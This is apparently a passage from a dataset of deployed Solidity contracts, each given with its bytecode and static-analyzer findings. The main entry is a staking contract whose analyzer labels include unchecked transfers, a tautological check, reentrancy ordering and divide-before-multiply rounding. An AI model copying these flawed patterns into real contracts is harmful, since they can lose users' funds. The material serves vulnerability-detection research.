ffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131936023913960400191505060405180910390fd5b60008111611f36576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132716029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611fd95750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611fee57611fe983838361240f565b612225565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120915750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120a6576120a1838383612662565b612224565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561214a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561215f5761215a8383836128b5565b612223565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122015750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561221657612211838383612a73565b612222565b6122218383836128b5565b5b5b5b5b505050565b60008383111582906122d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561229c578082015181840152602081019050612281565b50505050905090810190601f1680156122c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006122f7612d5b565b9150915061230e818361231590919063ffffffff16565b9250505090565b600061235783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061300c565b905092915050565b600080600061238b600261237d60648761231590919063ffffffff16565b6130d290919063ffffffff16565b905060006123a28286611b0890919063ffffffff16565b90508082935093505050915091565b6000806000806123ca85886130d290919063ffffffff16565b905060006123e186886130d290919063ffffffff16565b905060006123f88284611b0890919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061242086611ab0565b9450945094509450945061247c86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251185600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a684600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f38382613158565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061267386611ab0565b945094509450945094506126cf85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276482600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f984600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128468382613158565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128c686611ab0565b9450945094509450945061292285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b784600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a048382613158565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8486611ab0565b94509450945094509450612ae086600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0890919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0a82600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9f84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5290919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cec8382613158565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600060065490506000690ec247bf2321cc5a8000905060005b600580549050811015612fbf57826001600060058481548110612d9657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e7d5750816002600060058481548110612e1557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e9c57600654690ec247bf2321cc5a800094509450505050613008565b612f256001600060058481548110612eb057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b0890919063ffffffff16565b9250612fb06002600060058481548110612f3b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b0890919063ffffffff16565b91508080600101915050612d77565b50612fdf690ec247bf2321cc5a800060065461231590919063ffffffff16565b821015612fff57600654690ec247bf2321cc5a8000935093505050613008565b81819350935050505b9091565b600080831182906130b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561307d578082015181840152602081019050613062565b50505050905090810190601f1680156130aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130c457fe5b049050809150509392505050565b6000808314156130e55760009050613152565b60008284029050828482816130f657fe5b041461314d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132286021913960400191505060405180910390fd5b809150505b92915050565b61316d82600654611b0890919063ffffffff16565b60068190555061318881600754611b5290919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d57de3bd53085a013083f5a79d0b89a01d0f6e6922a3bfee605f439a27430ab664736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 1,406 |
0x05066c5f086aa1144554b41266e7674969387186 | pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface POWER {
function scaledPower(uint amount) external returns(bool);
function totalPopping() external view returns (uint256);
}
interface FIRE {
function balanceOf(address _user) external view returns (uint256);
}
contract OPERATORS{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event POPCORNEvent(address indexed executioner, address indexed pool, uint amount);
event DITCHEvent(address indexed executioner, address indexed pool, uint amount);
event PooppingRewardEvent(address indexed executioner, address indexed pool, uint amount);
//======================================OPERATORS VARS=========================================//
address public popcornToken;
address public power;
address public fireball;
bool public _machineReady;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_POP = 10000000000000000000;
uint256 private MIN_POP_DUR = 10 days;
uint256 public MIN_FIRE_TO_POP = 1000000000000000000;
uint256 private DITCH_FEE = 30;
uint public infocheck;
uint _burnedAmount;
uint actualValue;
struct User {
uint256 popslot;
int256 scaledPayout;
uint256 poptime;
}
struct Info {
uint256 totalPopping;
mapping(address => User) users;
uint256 scaledPayoutPerToken; //pool balance
address admin;
}
Info private info;
mapping(address => bool) whitelisted;
constructor() public {
info.admin = msg.sender;
_machineReady = true;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlypopcornToken() {
require(msg.sender == popcornToken, "Authorization: only token contract can call");
_;
}
function machinery(address _popcorn, address _power, address _fire) public onlyCreator returns (bool success) {
popcornToken = _popcorn;
power = _power;
fireball = _fire;
return true;
}
function _whitelist(address _address) onlyCreator public {
whitelisted[_address] = true;
}
function _minPopAmount(uint256 _number) onlyCreator public {
MINIMUM_POP = _number*1000000000000000000;
}
function _minFIRE_TO_POP(uint256 _number) onlyCreator public {
MIN_FIRE_TO_POP = _number*1000000000000000000;
}
function machineReady(bool _status) public onlyCreator {
_machineReady = _status;
}
function ditchFee(uint _rate) public onlyCreator returns (bool success) {
DITCH_FEE = _rate;
return true;
}
//======================================USER WRITE=========================================//
function popCorns(uint256 _tokens) external {
_popcorns(_tokens);
}
function DitchCorns(uint256 _tokens) external {
_ditchcorns(_tokens);
}
//======================================USER READ=========================================//
function totalPopping() public view returns (uint256) {
return info.totalPopping;
}
function popslotOf(address _user) public view returns (uint256) {
return info.users[_user].popslot;
}
function cornsOf(address _user) public view returns (uint256) {
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].popslot) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
function userData(address _user) public view
returns (uint256 totalCornsPopping, uint256 userpopslot,
uint256 usercorns, uint256 userpoptime, int256 scaledPayout) {
return (totalPopping(), popslotOf(_user), cornsOf(_user), info.users[_user].poptime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _popcorns(uint256 _amount) internal {
require(_machineReady, "Staking not yet initialized");
require(FIRE(fireball).balanceOf(msg.sender) > MIN_FIRE_TO_POP, "You do not have sufficient fire to pop this corn");
require(IERC20(popcornToken).balanceOf(msg.sender) >= _amount, "Insufficient corn balance");
require(popslotOf(msg.sender) + _amount >= MINIMUM_POP, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(popcornToken).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].poptime = now;
info.totalPopping += _amount;
info.users[msg.sender].popslot += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(popcornToken).transferFrom(msg.sender, address(this), _amount); // Transfer liquidity tokens from the sender to this contract
emit POPCORNEvent(msg.sender, address(this), _amount);
}
function _ditchcorns(uint256 _amount) internal {
require(popslotOf(msg.sender) >= _amount, "You currently do not have up to that amount popping");
info.totalPopping -= _amount;
info.users[msg.sender].popslot -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
if(whitelisted[msg.sender] == true){
require(IERC20(popcornToken).transfer(msg.sender, _amount), "Transaction failed");
emit DITCHEvent(address(this), msg.sender, _amount);
}else{
uint256 interval = now - info.users[msg.sender].poptime;
if(interval < MIN_POP_DUR){
_burnedAmount = mulDiv(_amount, DITCH_FEE, 100);
actualValue = _amount.sub(_burnedAmount);
require(IERC20(popcornToken).transfer(msg.sender, actualValue), "Transaction failed");
emit DITCHEvent(address(this), msg.sender, actualValue);
_burnedAmount /=2;
require(IERC20(popcornToken).transfer(address(this), _burnedAmount), "Transaction failed");
scaledOperatorSelf(_burnedAmount);
require(IERC20(popcornToken).transfer(power, _burnedAmount), "Transaction failed");
POWER(power).scaledPower(_burnedAmount);
}else{
require(IERC20(popcornToken).transfer(msg.sender, _amount), "Transaction failed");
emit DITCHEvent(address(this), msg.sender, _amount);
}
}
}
function Takecorns() external returns (uint256) {
uint256 _dividends = cornsOf(msg.sender);
require(_dividends >= 0, "you do not have any corn yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(popcornToken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit PooppingRewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledOperators(uint _amount) external onlypopcornToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalPopping;
infocheck = info.scaledPayoutPerToken;
return true;
}
function scaledOperatorSelf(uint _amount) private returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalPopping;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
} | 0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638b38cbfe116100b8578063c89109131161007c578063c89109131461030f578063c917e03514610360578063cfdb63ac14610368578063d8b98df11461038e578063e86c5bd4146103b4578063f153c19c146103bc57610142565b80638b38cbfe146102695780639519df5114610286578063aa9a0912146102a3578063b6800f78146102cc578063b87af193146102f257610142565b806369c18e121161010a57806369c18e12146101b6578063739998b5146101be5780637beec6c0146101db5780638208a55f146101f857806385e10962146102155780638ab65e131461026157610142565b80630bb41f001461014757806333c6a7281461016b5780634a4d59fa1461018c578063540fcde014610194578063664db3b01461019c575b600080fd5b61014f6103c4565b604080516001600160a01b039092168252519081900360200190f35b61018a6004803603602081101561018157600080fd5b503515156103d3565b005b61014f61043a565b61014f610449565b6101a4610458565b60408051918252519081900360200190f35b6101a4610582565b61018a600480360360208110156101d457600080fd5b5035610588565b61018a600480360360208110156101f157600080fd5b5035610594565b61018a6004803603602081101561020e57600080fd5b503561059d565b61024d6004803603606081101561022b57600080fd5b506001600160a01b0381358116916020810135821691604090910135166105f5565b604080519115158252519081900360200190f35b61024d610682565b61018a6004803603602081101561027f57600080fd5b5035610692565b61024d6004803603602081101561029c57600080fd5b50356106ea565b6101a4600480360360608110156102b957600080fd5b508035906020810135906040013561075f565b6101a4600480360360208110156102e257600080fd5b50356001600160a01b0316610813565b61024d6004803603602081101561030857600080fd5b503561082e565b6103356004803603602081101561032557600080fd5b50356001600160a01b0316610883565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101a46108da565b61018a6004803603602081101561037e57600080fd5b50356001600160a01b03166108e0565b6101a4600480360360208110156103a457600080fd5b50356001600160a01b031661094d565b6101a461097d565b6101a4610983565b6000546001600160a01b031681565b600d546001600160a01b0316331461041c5760405162461bcd60e51b81526004018080602001828103825260288152602001806115a86028913960400191505060405180910390fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6001546001600160a01b031681565b6002546001600160a01b031681565b6000806104643361094d565b336000818152600b602090815260408083206001018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b1580156104d457600080fd5b505af11580156104e8573d6000803e3d6000fd5b505050506040513d60208110156104fe57600080fd5b5051610546576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f31358920f2e2ce1409c5c3e86b8c9e76eb941195722ce8edbb56f0142a7dd26a9181900360200190a3905090565b60075481565b61059181610989565b50565b61059181610d5d565b600d546001600160a01b031633146105e65760405162461bcd60e51b81526004018080602001828103825260288152602001806115a86028913960400191505060405180910390fd5b670de0b6b3a764000002600555565b600d546000906001600160a01b031633146106415760405162461bcd60e51b81526004018080602001828103825260288152602001806115a86028913960400191505060405180910390fd5b50600080546001600160a01b03199081166001600160a01b039586161790915560018054821693851693909317835560028054909116919093161790915590565b600254600160a01b900460ff1681565b600d546001600160a01b031633146106db5760405162461bcd60e51b81526004018080602001828103825260288152602001806115a86028913960400191505060405180910390fd5b670de0b6b3a764000002600355565b600080546001600160a01b031633146107345760405162461bcd60e51b815260040180806020018281038252602b8152602001806114d5602b913960400191505060405180910390fd5b600a54600160401b83028161074557fe5b600c80549290910490910190819055600755506001919050565b600080600061076e8686611380565b9150915083811061077b57fe5b6000848061078557fe5b868809905082811115610799576001820391505b9182900391600085900385168086816107ae57fe5b0495508084816107ba57fe5b0493508081600003816107c957fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b6001600160a01b03166000908152600b602052604090205490565b600d546000906001600160a01b0316331461087a5760405162461bcd60e51b81526004018080602001828103825260288152602001806115a86028913960400191505060405180910390fd5b50600655600190565b6000806000806000610893610983565b61089c87610813565b6108a58861094d565b6001600160a01b03989098166000908152600b6020526040902060028101546001909101549299919897509550909350915050565b60055481565b600d546001600160a01b031633146109295760405162461bcd60e51b81526004018080602001828103825260288152602001806115a86028913960400191505060405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19166001179055565b6001600160a01b03166000908152600b6020526040902060018101549054600c54600160401b9102919091030490565b60035481565b600a5490565b600254600160a01b900460ff166109e7576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600554600254604080516370a0823160e01b815233600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610a3557600080fd5b505afa158015610a49573d6000803e3d6000fd5b505050506040513d6020811015610a5f57600080fd5b505111610a9d5760405162461bcd60e51b81526004018080602001828103825260308152602001806115786030913960400191505060405180910390fd5b600054604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610ae757600080fd5b505afa158015610afb573d6000803e3d6000fd5b505050506040513d6020811015610b1157600080fd5b50511015610b66576040805162461bcd60e51b815260206004820152601960248201527f496e73756666696369656e7420636f726e2062616c616e636500000000000000604482015290519081900360640190fd5b60035481610b7333610813565b011015610bb15760405162461bcd60e51b815260040180806020018281038252603d81526020018061153b603d913960400191505060405180910390fd5b60005460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015610c0157600080fd5b505afa158015610c15573d6000803e3d6000fd5b505050506040513d6020811015610c2b57600080fd5b50511015610c6a5760405162461bcd60e51b815260040180806020018281038252603b815260200180611500603b913960400191505060405180910390fd5b336000818152600b60209081526040808320426002820155600a805487019055805486018155600c54600190910180549187029091019055825481516323b872dd60e01b815260048101959095523060248601526044850186905290516001600160a01b03909116936323b872dd9360648083019493928390030190829087803b158015610cf757600080fd5b505af1158015610d0b573d6000803e3d6000fd5b505050506040513d6020811015610d2157600080fd5b5050604080518281529051309133917ff8474dea03f2a3cb837b30d9fd18d0a1ddc6fef424e1f188fd0835fe6d737c059181900360200190a350565b80610d6733610813565b1015610da45760405162461bcd60e51b81526004018080602001828103825260338152602001806114a26033913960400191505060405180910390fd5b600a80548290039055336000908152600b6020908152604080832080548590038155600c54600191820180549187029091039055600e9092529091205460ff1615151415610eef57600080546040805163a9059cbb60e01b81523360048201526024810185905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b158015610e4157600080fd5b505af1158015610e55573d6000803e3d6000fd5b505050506040513d6020811015610e6b57600080fd5b5051610eb3576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917fdd8147ea59d083cd0bddbc73ffdd45d4f80f65576edfcb74709a6e2848fe6a229181900360200190a3610591565b336000908152600b602052604090206002015460045442919091039081101561127d57610f2082600654606461075f565b6008819055610f3690839063ffffffff6113ad16565b6009819055600080546040805163a9059cbb60e01b81523360048201526024810194909452516001600160a01b039091169263a9059cbb9260448083019360209390929083900390910190829087803b158015610f9257600080fd5b505af1158015610fa6573d6000803e3d6000fd5b505050506040513d6020811015610fbc57600080fd5b5051611004576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6009546040805191825251339130917fdd8147ea59d083cd0bddbc73ffdd45d4f80f65576edfcb74709a6e2848fe6a229181900360200190a36002600860008282548161104d57fe5b049091555050600080546008546040805163a9059cbb60e01b81523060048201526024810192909252516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b1580156110ab57600080fd5b505af11580156110bf573d6000803e3d6000fd5b505050506040513d60208110156110d557600080fd5b505161111d576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6111286008546113f6565b50600080546001546008546040805163a9059cbb60e01b81526001600160a01b039384166004820152602481019290925251919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b505050506040513d60208110156111b257600080fd5b50516111fa576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b6001546008546040805163050ded4960e41b81526004810192909252516001600160a01b03909216916350ded490916024808201926020929091908290030181600087803b15801561124b57600080fd5b505af115801561125f573d6000803e3d6000fd5b505050506040513d602081101561127557600080fd5b5061137c9050565b600080546040805163a9059cbb60e01b81523360048201526024810186905290516001600160a01b039092169263a9059cbb926044808401936020939083900390910190829087803b1580156112d257600080fd5b505af11580156112e6573d6000803e3d6000fd5b505050506040513d60208110156112fc57600080fd5b5051611344576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518381529051339130917fdd8147ea59d083cd0bddbc73ffdd45d4f80f65576edfcb74709a6e2848fe6a229181900360200190a35b5050565b60008080600019848609905083850292508281039150828110156113a5576001820391505b509250929050565b60006113ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061140a565b9392505050565b600a54600090600160401b83028161074557fe5b600081848411156114995760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561145e578181015183820152602001611446565b50505050905090810190601f16801561148b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe596f752063757272656e746c7920646f206e6f74206861766520757020746f207468617420616d6f756e7420706f7070696e67417574686f72697a6174696f6e3a206f6e6c7920746f6b656e20636f6e74726163742063616e2063616c6c4e6f7420656e6f75676820616c6c6f77616e636520676976656e20746f20636f6e74726163742079657420746f207370656e642062792075736572596f757220616d6f756e74206973206c6f776572207468616e20746865206d696e696d756d20616d6f756e7420616c6c6f77656420746f207374616b65596f7520646f206e6f7420686176652073756666696369656e74206669726520746f20706f70207468697320636f726e4f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f72a2646970667358221220705b579da2f2ac3a7e11302ebeb3dfc4b3dd181a9dc2a71f1df30ce48eace8f364736f6c63430006040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": 